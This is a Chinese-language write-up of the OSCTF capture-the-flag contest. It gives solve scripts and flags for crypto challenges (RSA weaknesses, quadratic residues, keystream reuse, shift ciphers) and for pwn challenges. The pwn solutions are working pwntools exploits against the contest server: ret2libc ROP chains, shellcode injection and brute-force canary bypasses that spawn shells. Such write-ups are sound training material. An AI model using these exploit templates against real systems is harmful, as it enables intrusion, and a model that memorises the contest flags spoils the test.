闲来无聊打个比赛HICON结果居然一题不会,然后找个软的捏,OSCTF,居然也没AK
Crypto
Cipher Conundrum_encrypted
NDc0YjM0NGMzNzdiNTg2NzVmNDU1NjY2NTE1ZjM0NTQ2ODM5NzY0YTZiNmI2YjZiNmI3ZA==
先用厨子梭一梭,得到 GK4L7{Xg_EVfQ_4Th9vJkkkkk}
然后ROT爆破,发现头部两个数字以外基本正确,这两个数字似乎就是CF的序号
Amount = 8: OS4T7{Fo_MDnY_4Bp9dRsssss}
把大写跟数字连一起移位,剩下的小写再移下,得到
key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
b = ''.join([key[(8+key.index(i))%len(key)] if i in key else i for i in a])
b
key = 'abcdefghijklmnopqrstuvwxyz0123456789'
c = ''.join([key[(8+key.index(i))%len(key)] if i in key[:26] else i for i in b])
c
OSCTF{5o_M3nY_C1pH3Rsssss}
The Secret Message
小幂小明文,直接开根号
n: 95529209895456302225704906479347847909957423713146975001566374739455122191404873517846348720717334832208112563199994182911677708320666162110219260456995238587348694937990770918797369279309985690765014929994818701603418084246649965352663500490541743609682236183632053755116058982739236349050530235419666436143
e: 3
ciphertext: 123455882152544968263105106204728561055927061837559618140477097078038573915018542652304779417958037315601542697001430243903815208295768006065618427997903855304186888710867473025125
long_to_bytes(iroot(c,3)[0])
#OSCTF{Cub3_R00Ting_RSA!!}
QR
通过是否2次剩余判断是0是1
from Crypto.Util.number import *
from random import *
flag = b'REDACTED'
p = 96517490730367252566551196176049957092195411726055764912412605750547823858339
a = 1337
flag = bin(bytes_to_long(flag))[2:]
encrypt = []
for bit in flag:
encrypt.append(pow(a, (randint(2, p) * randrange(2, p, 2)) + int(bit), p))
print(encrypt)
sage: for i in c:
....: if jacobi((i),p) == 1:
....: m +='0'
....: else:
....: m +='1'
....:
sage: m
'1001111010100110100001101010100010001100111101101100100001100000101111101111001001100000101010101011111010011000011000001110110001100110101111101101101001101000011011101001000010111110011111101011111001111000011001101111101'
sage: from Crypto.Util.number import *
sage: long_to_bytes(int(m,2))
b'OSCTF{d0_y0U_L0v3_m47H_?_<3}'
Couple Primes
from Crypto.Util.number import *
from sympy import nextprime
flag = b'REDACTED'
p = getPrime(1024)
q = nextprime(p)
e = 65537
n = p * q
c = pow(bytes_to_long(flag), e, n)
print(f"n = {n}")
print(f"c = {c}")
p,q相近,开根号后爆破
>>> tp = iroot(n,2)[0]
>>> while n%tp:
... tp+=1
...
>>> pow(c,invert(e,tp-1),tp)
mpz(3945028812545637808042018636324314833755418799253921801566922550083889989109
4006174728061)
>>> long_to_bytes(pow(c,invert(e,tp-1),tp))
b'OSCTF{m4y_7h3_pR1m3_10v3_34cH_07h3r?}'
Efficient RSA
n过小可分解
from Cryptodome.Util.number import getPrime, bytes_to_long
Flag = bytes_to_long(b"REDACTED")
p = getPrime(112)
q = getPrime(112)
n = p*q
e = 65537
ciphertext = pow(Flag, e, n)
print([n, e, ciphertext])
p = 3058290486427196148217508840815579
q = n//p
long_to_bytes(int(pow(c,invert(e, (p-1)*(q-1)),n)))
#b'OSCTF{F4ct0r1Ng_F0r_L1f3}'
Sheep Counting
KEY未知的情况下对图片xor加密
from os import urandom
KEY = b'REDACTED'
class StepUpCounter(object):
def __init__(self, step_up=False):
self.value = urandom(16).hex()
self.step = 1
self.stup = step_up
def increment(self):
if self.stup:
self.newIV = hex(int(self.value, 16) + self.step)
else:
self.newIV = hex(int(self.value, 16) - self.stup) #当step_up为默认空时iv=value不变
self.value = self.newIV[2:len(self.newIV)]
return bytes.fromhex(self.value.zfill(32))
def __repr__(self):
self.increment()
return self.value
def encrypt():
cipher = AES.new(KEY, AES.MODE_ECB)
ctr = StepUpCounter()
out = []
with open("Counting.png", 'rb') as f:
block = f.read(16)
while block:
keystream = cipher.encrypt(ctr.increment())
xored = [a^b for a, b in zip(block, keystream)]
out.append(bytes(xored).hex())
block = f.read(16)
return {"encrypted": ''.join(out)}
print(encrypt())
由于图片头可知,所以密文可求,ctr.increment()因为用到False所以每次都相同。也就可以每次用相同的密文还原图片。
head = open('a.png','rb').read(16)
#b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR'
c = open('encrypted_1.txt').read()
c = bytes.fromhex(c)
from pwn import xor
keystream = xor(head,c[:16])
b = xor(keystream,c)
open('Counter.png','wb').write(b)
#OSCTF{SH33P_CouNT1ng_111}
Love Story
def to_my_honey(owo):
return ord(owo) - 0x41
def from_your_lover(uwu):
return chr(uwu % 26 + 0x41)
def encrypt(billet_doux):
letter = ''
for heart in range(len(billet_doux)):
letters = billet_doux[heart]
if not letters.isalpha():
owo = letters
else:
uwu = to_my_honey(letters)
owo = from_your_lover(uwu + heart)
letter += owo
return letter
m = "REDACTED"
c = encrypt(m)
print(c)
移位,加序号的模,这开头无非就是0-25,爆破一下,都不认识的单词,只能试,恰巧是第1个
c = 'KJOL_T_ZCTS_ZV_CQKLX_NDFKZTUC.'
for k in range(26):
''.join([chr((ord(c[i])-0x41 - i -k)%26 + 0x41 ) if c[i].isalpha() else c[i] for i in range(len(c))])
#OSCTF{KIMI_O_SUKI_NI_NATTE_SHIMATTA.}
*It's Ascii, right?
百思不得其姐。密文可能是16进制ASCII码,然后换表,但都试过不对。
It's Ascii, right?
Find out the lost part of the flag:
OSCTF{PLAINTEXT}
Ciphertext: 63 59 66 61 31 35 33 41 73 35 63 49 43 69
Put the Plaintext found in the flag format
Ex. the plaintext if HelloWorld so then the flag becomes OSCTF{HelloWorld}
Author: @Vanmaxohpalphabet: BUIADSEFGHJKMNOYPQLRTCVXZ
PWN
LeakyPipes
flag已读入栈中,有格式化字符串漏洞,猜个偏移打出来就行了。
Buffer Buffet
栈溢出,直接两回合模板。
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
#p = process('./pwn2')
p = remote('34.125.199.248', 4056)
pop_rdi = 0x401313
p.sendlineafter(b"Enter some text:\n", b'\x00'*(400+8)+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['vuln']))
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420
bin_sh = libc_base + 0x1b45bd
system = libc_base + 0x52290
p.sendlineafter(b"Enter some text:\n", b'\x00'*(400+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()
Byte Breakup
有现成的system也有/bin/sh直接弹个/bin/sh接到system上
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
p = remote('34.125.199.248', 6969)
pop_rdi = 0x4012bb
bin_sh = 0x404048
p.sendlineafter(b"Enter the password: ", flat(b'a'*0x28, pop_rdi, bin_sh, 0x401252))
p.interactive()
seed sPRING
时间作种子的猜随机数,用ctypes库随便调个libc,但机子与远程有时差,爆破一下,如果机子正常可不用爆破。
from pwn import *
from ctypes import *
from time import time
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
context(arch='amd64', log_level='debug')
for i in range(-20,20,1):
try:
p = remote('34.125.199.248', 2534)
clibc.srand(clibc.time(0)+i)
for i in range(30):
p.sendlineafter(b"Guess the height: ", str(clibc.rand()&0xf).encode())
p.interactive()
except:
continue
ShellMischief
直接整个shellcode
from pwn import *
context(arch='i386', log_level='debug')
p = remote('34.125.199.248', 1234)
p.sendlineafter(b"Enter your shellcode:", b'\x90'*0x100+asm(shellcraft.sh()))
p.interactive()
Lib Riddle
这题跟第2题居然重了,这主办方得多不走心啊
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./pwn6')
p = remote('34.125.199.248', 7809)
pop_rdi = 0x401273
p.sendafter(b"Welcome to the library... What's your name?\n", b'\x00'*(0x10+8)+flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']))
p.recvline()
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420
bin_sh = libc_base + 0x1b45bd
system = libc_base + 0x52290
p.sendlineafter(b"Welcome to the library... What's your name?\n", b'\x00'*(0x10+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()
Coal Mine Canary
先要带出出那个串来,不必一次完成,毕竟文件不变。然后就是溢出到后门。
可运行时发现远程的地址与附件不同,差0x122。没办法只能爆破。
from pwn import *
for i in range(0x122,0,-1):
p = remote("34.125.199.248", 5674)
pay=b" "*32+b"NECGLSPQ"+b"A"*16+p32(0x8049259+i)
p.sendlineafter(b">",str(len(pay)).encode())
p.sendafter(b"> ",pay)
p.recvuntil(b"A"*16)
try:
print(p.recvuntil(b"}"))
print(i) #0x08049337
p.interactive()
break
except:
p.close()